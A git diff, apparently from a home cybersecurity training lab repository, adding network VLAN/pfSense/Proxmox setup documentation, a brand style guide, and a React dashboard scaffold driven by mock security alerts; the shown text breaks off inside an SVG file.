||||
Export disk image
|
||||
│
|
||||
┌───────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ WS02 (Snapshot) │◄──── Forensic Analysis
|
||||
│ Disk Image │ • Autopsy
|
||||
│ Memory Dump │ • Volatility
|
||||
└──────────────────┘ • Timeline reconstruction
|
||||
```
|
||||
|
||||
**Flow**:
|
||||
1. Access Proxmox from Management VLAN
|
||||
2. Create snapshots of compromised VMs
|
||||
3. Export disk images for forensic analysis
|
||||
4. Analyze with Autopsy/Volatility on separate forensics workstation
|
||||
|
||||
---
|
||||
|
||||
## Physical Switch Configuration (Cisco)
|
||||
|
||||
### Required VLAN Configuration
|
||||
|
||||
```cisco
|
||||
! Create VLANs
|
||||
vlan 100
|
||||
name Management
|
||||
vlan 200
|
||||
name RedTeam
|
||||
vlan 300
|
||||
name BlueTeam
|
||||
vlan 400
|
||||
name Victim
|
||||
|
||||
! Trunk port to Proxmox server (assume GigabitEthernet0/1)
|
||||
interface GigabitEthernet0/1
|
||||
description Trunk to Proxmox Server
|
||||
switchport mode trunk
|
||||
switchport trunk allowed vlan 100,200,300,400
|
||||
switchport trunk native vlan 100
|
||||
spanning-tree portfast trunk
|
||||
|
||||
! Trunk port to Unifi Router (assume GigabitEthernet0/24)
|
||||
interface GigabitEthernet0/24
|
||||
description Trunk to Unifi Router
|
||||
switchport mode trunk
|
||||
switchport trunk allowed vlan 100,200,300,400
|
||||
switchport trunk native vlan 1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Unifi Router/Gateway Configuration
|
||||
|
||||
### VLAN Networks Setup
|
||||
|
||||
```
|
||||
Network: Management (VLAN 100)
|
||||
├─ VLAN ID: 100
|
||||
├─ Subnet: 10.10.1.0/24
|
||||
├─ Gateway: 10.10.1.254 (Unifi router)
|
||||
├─ DHCP: Disabled (static IPs only)
|
||||
└─ Purpose: Proxmox management access
|
||||
|
||||
Network: Red Team (VLAN 200)
|
||||
├─ VLAN ID: 200
|
||||
├─ Subnet: 10.10.2.0/24
|
||||
├─ Gateway: 10.10.2.1 (pfSense handles routing)
|
||||
├─ DHCP: Disabled (pfSense provides DHCP)
|
||||
└─ Purpose: Isolated attacker network
|
||||
|
||||
Network: Blue Team (VLAN 300)
|
||||
├─ VLAN ID: 300
|
||||
├─ Subnet: 10.10.3.0/24
|
||||
├─ Gateway: 10.10.3.1 (pfSense handles routing)
|
||||
├─ DHCP: Disabled (static IP for Security Onion)
|
||||
└─ Purpose: Monitoring and SIEM
|
||||
|
||||
Network: Victim (VLAN 400)
|
||||
├─ VLAN ID: 400
|
||||
├─ Subnet: 10.10.4.0/24
|
||||
├─ Gateway: 10.10.4.1 (pfSense handles routing)
|
||||
├─ DHCP: Provided by DC01 (10.10.4.10)
|
||||
└─ Purpose: Target systems
|
||||
```
|
||||
|
||||
**Inter-VLAN Routing**: Handled by pfSense VM (VLANs 200-400)
|
||||
**Internet Access**: Routed through Unifi → pfSense NAT
|
||||
|
||||
---
|
||||
|
||||
## Proxmox Network Configuration
|
||||
|
||||
### Linux Bridge Configuration (vmbr0)
|
||||
|
||||
```bash
|
||||
# /etc/network/interfaces
|
||||
|
||||
auto lo
|
||||
iface lo inet loopback
|
||||
|
||||
# Physical interface
|
||||
auto ens18
|
||||
iface ens18 inet manual
|
||||
|
||||
# VLAN-aware bridge
|
||||
auto vmbr0
|
||||
iface vmbr0 inet static
|
||||
address 10.10.1.1/24
|
||||
gateway 10.10.1.254
|
||||
bridge-ports ens18
|
||||
bridge-stp off
|
||||
bridge-fd 0
|
||||
bridge-vlan-aware yes
|
||||
bridge-vids 100 200 300 400
|
||||
```
|
||||
|
||||
### VM Network Configuration Examples
|
||||
|
||||
**pfSense VM**:
|
||||
- **Net0**: vmbr0, VLAN 100 (WAN/Management)
|
||||
- **Net1**: vmbr0, VLAN 200 (Red Team)
|
||||
- **Net2**: vmbr0, VLAN 300 (Blue Team)
|
||||
- **Net3**: vmbr0, VLAN 400 (Victim)
|
||||
|
||||
**Kali Linux VM**:
|
||||
- **Net0**: vmbr0, VLAN 200
|
||||
|
||||
**Security Onion VM**:
|
||||
- **Net0**: vmbr0, VLAN 300
|
||||
|
||||
**DC01 / WS01 / WS02 / WEB01 / FILE01**:
|
||||
- **Net0**: vmbr0, VLAN 400
|
||||
|
||||
---
|
||||
|
||||
## IP Address Allocation Table
|
||||
|
||||
| VLAN | Network | Device | IP Address | Role |
|
||||
|------|----------------|-------------------|---------------|---------------------|
|
||||
| 100 | 10.10.1.0/24 | Proxmox Host | 10.10.1.1 | Hypervisor |
|
||||
| 100 | 10.10.1.0/24 | pfSense WAN | 10.10.1.2 | Internal router |
|
||||
| 100 | 10.10.1.0/24 | Unifi Router | 10.10.1.254 | Gateway/Internet |
|
||||
| 200 | 10.10.2.0/24 | pfSense (RED) | 10.10.2.1 | VLAN 200 gateway |
|
||||
| 200 | 10.10.2.0/24 | Kali Linux | 10.10.2.50 | Attacker workstation|
|
||||
| 300 | 10.10.3.0/24 | pfSense (BLUE) | 10.10.3.1 | VLAN 300 gateway |
|
||||
| 300 | 10.10.3.0/24 | Security Onion | 10.10.3.100 | SIEM/IDS |
|
||||
| 400 | 10.10.4.0/24 | pfSense (VICTIM) | 10.10.4.1 | VLAN 400 gateway |
|
||||
| 400 | 10.10.4.0/24 | DC01 | 10.10.4.10 | Domain Controller |
|
||||
| 400 | 10.10.4.0/24 | WS01 | 10.10.4.20 | HR Workstation |
|
||||
| 400 | 10.10.4.0/24 | WS02 | 10.10.4.21 | IT Admin Workstation|
|
||||
| 400 | 10.10.4.0/24 | WEB01 | 10.10.4.30 | Web App Server |
|
||||
| 400 | 10.10.4.0/24 | FILE01 | 10.10.4.40 | Legacy File Server |
|
||||
|
||||
---
|
||||
|
||||
## Security Isolation Matrix
|
||||
|
||||
| From VLAN | To VLAN 100 | To VLAN 200 | To VLAN 300 | To VLAN 400 | Internet |
|
||||
|-----------|-------------|-------------|-------------|-------------|----------|
|
||||
| **100** (Mgmt) | ✅ Allow | ✅ Allow | ✅ Allow | ✅ Allow | ✅ Allow |
|
||||
| **200** (Red) | ❌ Deny | ✅ Allow | ❌ Deny | 🔶 Lab-based | ✅ Allow |
|
||||
| **300** (Blue) | ✅ Allow | ❌ Deny | ✅ Allow | 👁️ Monitor only | ✅ Allow |
|
||||
| **400** (Victim) | ❌ Deny | ❌ Deny | ❌ Deny | ✅ Allow | ✅ Allow |
|
||||
|
||||
**Legend**:
|
||||
- ✅ Allow - Traffic permitted
|
||||
- ❌ Deny - Traffic blocked by default
|
||||
- 🔶 Lab-based - Enabled per exercise (pfSense rules)
|
||||
- 👁️ Monitor only - SPAN/mirror traffic for IDS
|
||||
|
||||
---
|
||||
|
||||
## Traffic Mirroring for IDS (Security Onion)
|
||||
|
||||
To enable Security Onion to monitor VLAN 400 traffic:
|
||||
|
||||
### Option 1: pfSense Packet Capture
|
||||
```bash
|
||||
# On pfSense, enable packet mirroring to Security Onion
|
||||
# Diagnostics → Packet Capture → Mirror to 10.10.3.100
|
||||
```
|
||||
|
||||
### Option 2: Cisco Switch SPAN Port
|
||||
```cisco
|
||||
! Configure SPAN to mirror VLAN 400 to Security Onion monitoring port
|
||||
monitor session 1 source vlan 400
|
||||
monitor session 1 destination interface GigabitEthernet0/10
|
||||
! Connect Security Onion monitoring interface to Gi0/10
|
||||
```
|
||||
|
||||
### Option 3: Proxmox TAP Interface
|
||||
- Create virtual TAP between VLAN 400 bridge and Security Onion
|
||||
- Security Onion gets promiscuous interface for passive monitoring
|
||||
|
||||
---
|
||||
|
||||
## Quick Setup Checklist
|
||||
|
||||
### Physical Infrastructure
|
||||
- [ ] Connect Proxmox server to Cisco switch via trunk port
|
||||
- [ ] Connect Cisco switch to Unifi router via trunk port
|
||||
- [ ] Configure VLANs 100, 200, 300, 400 on Cisco switch
|
||||
- [ ] Enable VLAN-aware bridge on Proxmox (vmbr0)
|
||||
|
||||
### Unifi Router
|
||||
- [ ] Create VLAN networks (100, 200, 300, 400)
|
||||
- [ ] Set subnet for each VLAN (10.10.x.0/24)
|
||||
- [ ] Configure firewall rules (optional - pfSense handles most)
|
||||
|
||||
### Proxmox Configuration
|
||||
- [ ] Edit `/etc/network/interfaces` with VLAN-aware bridge
|
||||
- [ ] Reboot Proxmox host
|
||||
- [ ] Verify bridge with: `ip link show vmbr0`
|
||||
|
||||
### pfSense VM Deployment
|
||||
- [ ] Create pfSense VM with 4 network interfaces
|
||||
- [ ] Assign interfaces: vtnet0-3 to VLANs 100, 200, 300, 400
|
||||
- [ ] Configure WAN (VLAN 100): 10.10.1.2
|
||||
- [ ] Configure LAN interfaces for other VLANs (.1 addresses)
|
||||
- [ ] Set up firewall rules per module requirements
|
||||
|
||||
### VM Deployment
|
||||
- [ ] Deploy Kali Linux on VLAN 200
|
||||
- [ ] Deploy Security Onion on VLAN 300
|
||||
- [ ] Deploy victim systems on VLAN 400 (DC01, WS01, WS02, WEB01, FILE01)
|
||||
- [ ] Configure static IPs per allocation table
|
||||
- [ ] Join Windows systems to apophis.local domain
|
||||
|
||||
### Verification Tests
|
||||
- [ ] Ping test: Kali → pfSense (10.10.2.1) ✅
|
||||
- [ ] Ping test: Kali → FILE01 (10.10.4.40) ❌ (blocked by default)
|
||||
- [ ] Ping test: Security Onion → pfSense (10.10.3.1) ✅
|
||||
- [ ] DNS resolution: DC01 resolves apophis.local
|
||||
- [ ] IDS test: Generate Suricata alert from Kali scan
|
||||
- [ ] Web UI access: pfSense (10.10.1.2), Security Onion (10.10.3.100)
|
||||
|
||||
---
|
||||
|
||||
## Diagram for Visual Tools
|
||||
|
||||
If you want to create a visual diagram, use these tools:
|
||||
|
||||
### Recommended Tools:
|
||||
1. **Draw.io** (diagrams.net) - Free, exports to PNG/SVG
|
||||
2. **Lucidchart** - Professional network diagrams
|
||||
3. **Microsoft Visio** - Enterprise standard
|
||||
4. **Netbox** - Network documentation platform
|
||||
|
||||
### Import Template:
|
||||
Copy this structure into your diagram tool:
|
||||
|
||||
**Physical Layer**:
|
||||
- Internet → Unifi Router → Cisco Switch → Proxmox Server
|
||||
|
||||
**Virtual Layer**:
|
||||
- 4 VLANs (100, 200, 300, 400) connected via pfSense VM
|
||||
- VMs grouped by VLAN with IP addresses
|
||||
|
||||
**Visual Style** (Apophis Branding):
|
||||
- Use crimson (#D72638) for Red Team components
|
||||
- Use cyber blue (#0056B3) for Blue Team components
|
||||
- Use silver (#E0E0E2) for infrastructure
|
||||
- Use obsidian (#1B1B1E) for victim network
|
||||
- Sharp corners (no rounded edges)
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Issue: VMs can't communicate across VLANs
|
||||
- **Check**: pfSense firewall rules allow traffic
|
||||
- **Check**: VLAN tags correctly assigned in Proxmox VM config
|
||||
- **Check**: Cisco switch trunk allows all VLANs
|
||||
|
||||
### Issue: Security Onion not seeing traffic
|
||||
- **Check**: SPAN/mirror configured on switch or pfSense
|
||||
- **Check**: Promiscuous mode enabled on monitoring interface
|
||||
- **Check**: Suricata/Zeek services running
|
||||
|
||||
### Issue: Domain join fails (VLAN 400)
|
||||
- **Check**: DC01 DNS configured (10.10.4.10)
|
||||
- **Check**: pfSense allows DNS/Kerberos (ports 53, 88, 389)
|
||||
- **Check**: Time sync between DC01 and workstations
|
||||
|
||||
### Issue: Kali can't reach victim network
|
||||
- **Expected**: By default, VLAN 200 → 400 is blocked
|
||||
- **Fix**: Enable pfSense rule per lab module requirements
|
||||
|
||||
---
|
||||
|
||||
## Notes
|
||||
|
||||
- **Isolation**: Red Team (VLAN 200) is isolated from victim network by default
|
||||
- **Lab Control**: Enable/disable Red Team access via pfSense firewall rules per module
|
||||
- **Monitoring**: All inter-VLAN traffic logged for Blue Team analysis
|
||||
- **Internet Access**: All VLANs can reach Internet via Unifi router NAT (for updates)
|
||||
- **Management**: Access Proxmox/pfSense from VLAN 100 only
|
||||
|
||||
**Security**: This lab is intentionally vulnerable. Do NOT expose to public Internet.
|
||||
|
||||
---
|
||||
|
||||
## Next Steps
|
||||
|
||||
1. **Review**: `.claude/MOD1_Secure_Infrastructure.md` for detailed pfSense setup
|
||||
2. **Deploy**: Follow VM installation guides in each module
|
||||
3. **Test**: Run connectivity tests before starting MOD2
|
||||
4. **Snapshot**: Create baseline snapshots after initial setup
|
||||
|
||||
**"Order from Chaos"** 🐍 - Apophis Networking Security Lab
|
||||
59
brandguidelines.md
Normal file
59
brandguidelines.md
Normal file
@@ -0,0 +1,59 @@
|
||||
===============================================================================
|
||||
APOPHIS NETWORKING | BRAND STYLE GUIDE v1.0
|
||||
===============================================================================
|
||||
"Order from Chaos"
|
||||
|
||||
1. IDENTITY & MISSION
|
||||
---------------------
|
||||
Name: Apophis Networking
|
||||
Primary Focus: Small Business Cybersecurity & Network Engineering
|
||||
Design Philosophy: Tech-Noir. High-contrast, aggressive protection.
|
||||
Minimalist but high-energy.
|
||||
|
||||
2. CORE COLOR PALETTE
|
||||
---------------------
|
||||
[PRIMARY] Crimson Threat : #D72638 (RGB: 215, 38, 56)
|
||||
[BG] Obsidian Slate : #1B1B1E (RGB: 27, 27, 30)
|
||||
[TEXT] Glitch Silver : #E0E0E2 (RGB: 224, 224, 226)
|
||||
[ACCENT] Cyber Blue : #0056B3 (RGB: 0, 86, 179)
|
||||
|
||||
3. TYPOGRAPHY
|
||||
-------------
|
||||
Headings: JetBrains Mono (or any Monospaced font)
|
||||
- Use for: Titles, Data points, IP addresses, Logs.
|
||||
Body: Inter or Montserrat (Sans-Serif)
|
||||
- Use for: Reports, Email body, Long-form text.
|
||||
|
||||
4. VISUAL RULES (DESIGN TOKENS)
|
||||
-------------------------------
|
||||
Border Radius : 0px (Always sharp, never rounded)
|
||||
Borders : 1px Solid #E0E0E2 (Low opacity for subtle UI)
|
||||
Backgrounds : Deep Black/Obsidian for high-contrast impact.
|
||||
Gradient : 90deg Linear: #D72638 -> #0056B3
|
||||
|
||||
5. LOGO CONCEPT
|
||||
---------------
|
||||
Symbol: A crimson serpent (Apophis) coiled into a shield shape.
|
||||
Center: A hexagonal network node.
|
||||
Style: Metallic/Glowing against dark backgrounds.
|
||||
|
||||
6. TONE OF VOICE
|
||||
----------------
|
||||
Direct, technical, and precise.
|
||||
Avoid marketing fluff. Focus on perimeter defense and network resilience.
|
||||
|
||||
7. CSS / TAILWIND CONFIG
|
||||
------------------------
|
||||
colors: {
|
||||
ap_red: '#D72638',
|
||||
ap_black: '#1B1B1E',
|
||||
ap_silver: '#E0E0E2',
|
||||
ap_blue: '#0056B3',
|
||||
},
|
||||
fontFamily: {
|
||||
mono: ['JetBrains Mono', 'monospace'],
|
||||
sans: ['Inter', 'sans-serif'],
|
||||
}
|
||||
|
||||
===============================================================================
|
||||
[EOF]
|
||||
1294
dashboard-architecture.excalidraw
Normal file
1294
dashboard-architecture.excalidraw
Normal file
File diff suppressed because it is too large
Load Diff
24
dashboard/.gitignore
vendored
Normal file
24
dashboard/.gitignore
vendored
Normal file
@@ -0,0 +1,24 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
pnpm-debug.log*
|
||||
lerna-debug.log*
|
||||
|
||||
node_modules
|
||||
dist
|
||||
dist-ssr
|
||||
*.local
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
.idea
|
||||
.DS_Store
|
||||
*.suo
|
||||
*.ntvs*
|
||||
*.njsproj
|
||||
*.sln
|
||||
*.sw?
|
||||
16
dashboard/README.md
Normal file
16
dashboard/README.md
Normal file
@@ -0,0 +1,16 @@
|
||||
# React + Vite
|
||||
|
||||
This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules.
|
||||
|
||||
Currently, two official plugins are available:
|
||||
|
||||
- [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react) uses [Babel](https://babeljs.io/) (or [oxc](https://oxc.rs) when used in [rolldown-vite](https://vite.dev/guide/rolldown)) for Fast Refresh
|
||||
- [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react-swc) uses [SWC](https://swc.rs/) for Fast Refresh
|
||||
|
||||
## React Compiler
|
||||
|
||||
The React Compiler is not enabled on this template because of its impact on dev & build performances. To add it, see [this documentation](https://react.dev/learn/react-compiler/installation).
|
||||
|
||||
## Expanding the ESLint configuration
|
||||
|
||||
If you are developing a production application, we recommend using TypeScript with type-aware lint rules enabled. Check out the [TS template](https://github.com/vitejs/vite/tree/main/packages/create-vite/template-react-ts) for information on how to integrate TypeScript and [`typescript-eslint`](https://typescript-eslint.io) in your project.
|
||||
29
dashboard/eslint.config.js
Normal file
29
dashboard/eslint.config.js
Normal file
@@ -0,0 +1,29 @@
|
||||
import js from '@eslint/js'
|
||||
import globals from 'globals'
|
||||
import reactHooks from 'eslint-plugin-react-hooks'
|
||||
import reactRefresh from 'eslint-plugin-react-refresh'
|
||||
import { defineConfig, globalIgnores } from 'eslint/config'
|
||||
|
||||
export default defineConfig([
|
||||
globalIgnores(['dist']),
|
||||
{
|
||||
files: ['**/*.{js,jsx}'],
|
||||
extends: [
|
||||
js.configs.recommended,
|
||||
reactHooks.configs.flat.recommended,
|
||||
reactRefresh.configs.vite,
|
||||
],
|
||||
languageOptions: {
|
||||
ecmaVersion: 2020,
|
||||
globals: globals.browser,
|
||||
parserOptions: {
|
||||
ecmaVersion: 'latest',
|
||||
ecmaFeatures: { jsx: true },
|
||||
sourceType: 'module',
|
||||
},
|
||||
},
|
||||
rules: {
|
||||
'no-unused-vars': ['error', { varsIgnorePattern: '^[A-Z_]' }],
|
||||
},
|
||||
},
|
||||
])
|
||||
16
dashboard/index.html
Normal file
16
dashboard/index.html
Normal file
@@ -0,0 +1,16 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/png" href="/logo.png" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600;700&display=swap" rel="stylesheet" />
|
||||
<title>Apophis SOC | Security Operations Center</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.jsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
3852
dashboard/package-lock.json
generated
Normal file
3852
dashboard/package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
31
dashboard/package.json
Normal file
31
dashboard/package.json
Normal file
@@ -0,0 +1,31 @@
|
||||
{
|
||||
"name": "dashboard",
|
||||
"private": true,
|
||||
"version": "0.0.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "vite build",
|
||||
"lint": "eslint .",
|
||||
"preview": "vite preview"
|
||||
},
|
||||
"dependencies": {
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"date-fns": "^4.1.0",
|
||||
"react": "^19.2.0",
|
||||
"react-dom": "^19.2.0",
|
||||
"recharts": "^3.7.0",
|
||||
"tailwindcss": "^4.1.18"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "^9.39.1",
|
||||
"@types/react": "^19.2.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@vitejs/plugin-react": "^5.1.1",
|
||||
"eslint": "^9.39.1",
|
||||
"eslint-plugin-react-hooks": "^7.0.1",
|
||||
"eslint-plugin-react-refresh": "^0.4.24",
|
||||
"globals": "^16.5.0",
|
||||
"vite": "^7.3.1"
|
||||
}
|
||||
}
|
||||
BIN
dashboard/public/logo.png
Normal file
BIN
dashboard/public/logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 6.6 MiB |
1
dashboard/public/vite.svg
Normal file
1
dashboard/public/vite.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="31.88" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 257"><defs><linearGradient id="IconifyId1813088fe1fbc01fb466" x1="-.828%" x2="57.636%" y1="7.652%" y2="78.411%"><stop offset="0%" stop-color="#41D1FF"></stop><stop offset="100%" stop-color="#BD34FE"></stop></linearGradient><linearGradient id="IconifyId1813088fe1fbc01fb467" x1="43.376%" x2="50.316%" y1="2.242%" y2="89.03%"><stop offset="0%" stop-color="#FFEA83"></stop><stop offset="8.333%" stop-color="#FFDD35"></stop><stop offset="100%" stop-color="#FFA800"></stop></linearGradient></defs><path fill="url(#IconifyId1813088fe1fbc01fb466)" d="M255.153 37.938L134.897 252.976c-2.483 4.44-8.862 4.466-11.382.048L.875 37.958c-2.746-4.814 1.371-10.646 6.827-9.67l120.385 21.517a6.537 6.537 0 0 0 2.322-.004l117.867-21.483c5.438-.991 9.574 4.796 6.877 9.62Z"></path><path fill="url(#IconifyId1813088fe1fbc01fb467)" d="M185.432.063L96.44 17.501a3.268 3.268 0 0 0-2.634 3.014l-5.474 92.456a3.268 3.268 0 0 0 3.997 3.378l24.777-5.718c2.318-.535 4.413 1.507 3.936 3.838l-7.361 36.047c-.495 2.426 1.782 4.5 4.151 3.78l15.304-4.649c2.372-.72 4.652 1.36 4.15 3.788l-11.698 56.621c-.732 3.542 3.979 5.473 5.943 2.437l1.313-2.028l72.516-144.72c1.215-2.423-.88-5.186-3.54-4.672l-25.505 4.922c-2.396.462-4.435-1.77-3.759-4.114l16.646-57.705c.677-2.35-1.37-4.583-3.769-4.113Z"></path></svg>
|
||||
|
After Width: | Height: | Size: 1.5 KiB |
1
dashboard/src/App.css
Normal file
1
dashboard/src/App.css
Normal file
@@ -0,0 +1 @@
|
||||
/* Styles handled by Tailwind + index.css */
|
||||
100
dashboard/src/App.jsx
Normal file
100
dashboard/src/App.jsx
Normal file
@@ -0,0 +1,100 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import Header from './components/Header';
|
||||
import ThreatFeed from './components/ThreatFeed';
|
||||
import NetworkTraffic from './components/NetworkTraffic';
|
||||
import SystemHealth from './components/SystemHealth';
|
||||
import MitreHeatmap from './components/MitreHeatmap';
|
||||
import TopThreats from './components/TopThreats';
|
||||
import IncidentTracker from './components/IncidentTracker';
|
||||
import VulnSummary from './components/VulnSummary';
|
||||
import {
|
||||
generateAlertBatch,
|
||||
generateAlert,
|
||||
generateTrafficData,
|
||||
generateSystemHealth,
|
||||
generateMitreData,
|
||||
generateTopThreats,
|
||||
generateIncidents,
|
||||
generateVulnSummary,
|
||||
getOverallThreatLevel,
|
||||
} from './data/mockData';
|
||||
|
||||
function App() {
|
||||
const [alerts, setAlerts] = useState(() => generateAlertBatch(25));
|
||||
const [traffic, setTraffic] = useState(() => generateTrafficData(24));
|
||||
const [systems, setSystems] = useState(() => generateSystemHealth());
|
||||
const [mitre, setMitre] = useState(() => generateMitreData());
|
||||
const [threats, setThreats] = useState(() => generateTopThreats(8));
|
||||
const [incidents, setIncidents] = useState(() => generateIncidents());
|
||||
const [vulns, setVulns] = useState(() => generateVulnSummary());
|
||||
|
||||
const threatLevel = getOverallThreatLevel(alerts);
|
||||
|
||||
// Simulate live alert feed - new alert every 3-6 seconds
|
||||
useEffect(() => {
|
||||
const id = setInterval(() => {
|
||||
setAlerts((prev) => {
|
||||
const newAlert = generateAlert();
|
||||
const updated = [newAlert, ...prev];
|
||||
return updated.slice(0, 50);
|
||||
});
|
||||
}, 3000 + Math.random() * 3000);
|
||||
return () => clearInterval(id);
|
||||
}, []);
|
||||
|
||||
// Refresh slower-changing data periodically
|
||||
useEffect(() => {
|
||||
const id = setInterval(() => {
|
||||
setSystems(generateSystemHealth());
|
||||
setTraffic(generateTrafficData(24));
|
||||
}, 15000);
|
||||
return () => clearInterval(id);
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
const id = setInterval(() => {
|
||||
setThreats(generateTopThreats(8));
|
||||
setVulns(generateVulnSummary());
|
||||
setMitre(generateMitreData());
|
||||
setIncidents(generateIncidents());
|
||||
}, 30000);
|
||||
return () => clearInterval(id);
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div className="flex flex-col h-screen bg-ap-dark">
|
||||
<Header threatLevel={threatLevel} />
|
||||
|
||||
<div className="flex-1 grid grid-cols-12 grid-rows-[1fr_1fr_1fr] gap-px bg-white/5 min-h-0 overflow-hidden">
|
||||
{/* Row 1: Threat Feed | Network Traffic | System Health */}
|
||||
<div className="col-span-3 min-h-0 overflow-hidden">
|
||||
<ThreatFeed alerts={alerts} />
|
||||
</div>
|
||||
<div className="col-span-6 min-h-0 overflow-hidden">
|
||||
<NetworkTraffic data={traffic} />
|
||||
</div>
|
||||
<div className="col-span-3 min-h-0 overflow-hidden">
|
||||
<SystemHealth systems={systems} />
|
||||
</div>
|
||||
|
||||
{/* Row 2: MITRE ATT&CK Heatmap | Top Threats Table */}
|
||||
<div className="col-span-6 min-h-0 overflow-hidden">
|
||||
<MitreHeatmap data={mitre} />
|
||||
</div>
|
||||
<div className="col-span-6 min-h-0 overflow-hidden">
|
||||
<TopThreats threats={threats} />
|
||||
</div>
|
||||
|
||||
{/* Row 3: Incident Tracker | Vulnerability Summary */}
|
||||
<div className="col-span-7 min-h-0 overflow-hidden">
|
||||
<IncidentTracker incidents={incidents} />
|
||||
</div>
|
||||
<div className="col-span-5 min-h-0 overflow-hidden">
|
||||
<VulnSummary data={vulns} />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default App;
|
||||
1
dashboard/src/assets/react.svg
Normal file
1
dashboard/src/assets/react.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="35.93" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 228"><path fill="#00D8FF" d="M210.483 73.824a171.49 171.49 0 0 0-8.24-2.597c.465-1.9.893-3.777 1.273-5.621c6.238-30.281 2.16-54.676-11.769-62.708c-13.355-7.7-35.196.329-57.254 19.526a171.23 171.23 0 0 0-6.375 5.848a155.866 155.866 0 0 0-4.241-3.917C100.759 3.829 77.587-4.822 63.673 3.233C50.33 10.957 46.379 33.89 51.995 62.588a170.974 170.974 0 0 0 1.892 8.48c-3.28.932-6.445 1.924-9.474 2.98C17.309 83.498 0 98.307 0 113.668c0 15.865 18.582 31.778 46.812 41.427a145.52 145.52 0 0 0 6.921 2.165a167.467 167.467 0 0 0-2.01 9.138c-5.354 28.2-1.173 50.591 12.134 58.266c13.744 7.926 36.812-.22 59.273-19.855a145.567 145.567 0 0 0 5.342-4.923a168.064 168.064 0 0 0 6.92 6.314c21.758 18.722 43.246 26.282 56.54 18.586c13.731-7.949 18.194-32.003 12.4-61.268a145.016 145.016 0 0 0-1.535-6.842c1.62-.48 3.21-.974 4.76-1.488c29.348-9.723 48.443-25.443 48.443-41.52c0-15.417-17.868-30.326-45.517-39.844Zm-6.365 70.984c-1.4.463-2.836.91-4.3 1.345c-3.24-10.257-7.612-21.163-12.963-32.432c5.106-11 9.31-21.767 12.459-31.957c2.619.758 5.16 1.557 7.61 2.4c23.69 8.156 38.14 20.213 38.14 29.504c0 9.896-15.606 22.743-40.946 31.14Zm-10.514 20.834c2.562 12.94 2.927 24.64 1.23 33.787c-1.524 8.219-4.59 13.698-8.382 15.893c-8.067 4.67-25.32-1.4-43.927-17.412a156.726 156.726 0 0 1-6.437-5.87c7.214-7.889 14.423-17.06 21.459-27.246c12.376-1.098 24.068-2.894 34.671-5.345a134.17 134.17 0 0 1 1.386 6.193ZM87.276 214.515c-7.882 2.783-14.16 2.863-17.955.675c-8.075-4.657-11.432-22.636-6.853-46.752a156.923 156.923 0 0 1 1.869-8.499c10.486 2.32 22.093 3.988 34.498 4.994c7.084 9.967 14.501 19.128 21.976 27.15a134.668 134.668 0 0 1-4.877 4.492c-9.933 8.682-19.886 14.842-28.658 17.94ZM50.35 144.747c-12.483-4.267-22.792-9.812-29.858-15.863c-6.35-5.437-9.555-10.836-9.555-15.216c0-9.322 13.897-21.212 37.076-29.293c2.813-.98 5.757-1.905 8.812-2.773c3.204 10.42 7.406 21.315 12.477 32.332c-5.137 11.18-9.399 22.249-12.634 32.792a134.718 134.718 0 0 1-6.318-1.979Zm12.378-84.26c-4.811-24.587-1.616-43.134 6.425-47.789c8.564-4.958 27.502 2.111 47.463 19.835a144.318 144.318 0 0 1 3.841 3.545c-7.438 7.987-14.787 17.08-21.808 26.988c-12.04 1.116-23.565 2.908-34.161 5.309a160.342 160.342 0 0 1-1.76-7.887Zm110.427 27.268a347.8 347.8 0 0 0-7.785-12.803c8.168 1.033 15.994 2.404 23.343 4.08c-2.206 7.072-4.956 14.465-8.193 22.045a381.151 381.151 0 0 0-7.365-13.322Zm-45.032-43.861c5.044 5.465 10.096 11.566 15.065 18.186a322.04 322.04 0 0 0-30.257-.006c4.974-6.559 10.069-12.652 15.192-18.18ZM82.802 87.83a323.167 323.167 0 0 0-7.227 13.238c-3.184-7.553-5.909-14.98-8.134-22.152c7.304-1.634 15.093-2.97 23.209-3.984a321.524 321.524 0 0 0-7.848 12.897Zm8.081 65.352c-8.385-.936-16.291-2.203-23.593-3.793c2.26-7.3 5.045-14.885 8.298-22.6a321.187 321.187 0 0 0 7.257 